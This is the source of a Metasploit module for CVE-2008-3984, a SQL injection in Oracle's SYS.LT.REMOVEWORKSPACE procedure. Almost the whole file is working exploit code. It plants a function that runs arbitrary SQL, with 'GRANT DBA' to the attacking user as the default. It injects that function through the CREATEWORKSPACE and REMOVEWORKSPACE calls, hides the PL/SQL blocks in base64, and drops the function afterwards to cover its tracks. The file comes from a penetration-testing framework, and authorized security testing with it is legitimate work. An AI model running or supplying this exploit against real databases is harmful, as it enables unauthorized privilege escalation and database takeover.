metasploit-framework/modules/auxiliary/sqli/oracle/lt_removeworkspace.rb

98 lines
2.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::ORACLE
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle DB SQL Injection via SYS.LT.REMOVEWORKSPACE',
'Description' => %q{
This module exploits an sql injection flaw in the REMOVEWORKSPACE
procedure of the PL/SQL package SYS.LT. Any user with execute
privilege on the vulnerable package can exploit this vulnerability.
},
'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-3984' ],
[ 'OSVDB', '49326']
],
'DisclosureDate' => 'Oct 13 2008'))
register_options(
[
OptString.new('SQL', [ false, 'SQL to execte.', "GRANT DBA to #{datastore['DBUSER']}"]),
])
end
def run
return if not check_dependencies
name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
cruft = Rex::Text.rand_text_alpha_upper(1)
function = "
CREATE OR REPLACE FUNCTION #{cruft}
RETURN VARCHAR2 AUTHID CURRENT_USER
AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '#{datastore['SQL']}';
COMMIT;
RETURN '#{cruft}';
END;"
package1 = %Q|
BEGIN
SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
package2 = %Q|
BEGIN
SYS.LT.REMOVEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
END;
|
uno = Rex::Text.encode_base64(function)
dos = Rex::Text.encode_base64(package1)
tres = Rex::Text.encode_base64(package2)
sql = %Q|
DECLARE
#{rand1} VARCHAR2(32767);
#{rand2} VARCHAR2(32767);
#{rand3} VARCHAR2(32767);
BEGIN
#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
EXECUTE IMMEDIATE #{rand1};
#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
EXECUTE IMMEDIATE #{rand2};
#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
EXECUTE IMMEDIATE #{rand3};
END;
|
clean = "DROP FUNCTION #{cruft}"
# Try first, if it's good.. keep doing the dance.
print_status("Attempting sql injection on SYS.LT.REMOVEWORKSPACE...")
begin
prepare_exec(sql)
rescue => e
return
end
print_status("Removing function '#{cruft}'...")
prepare_exec(clean)
end
end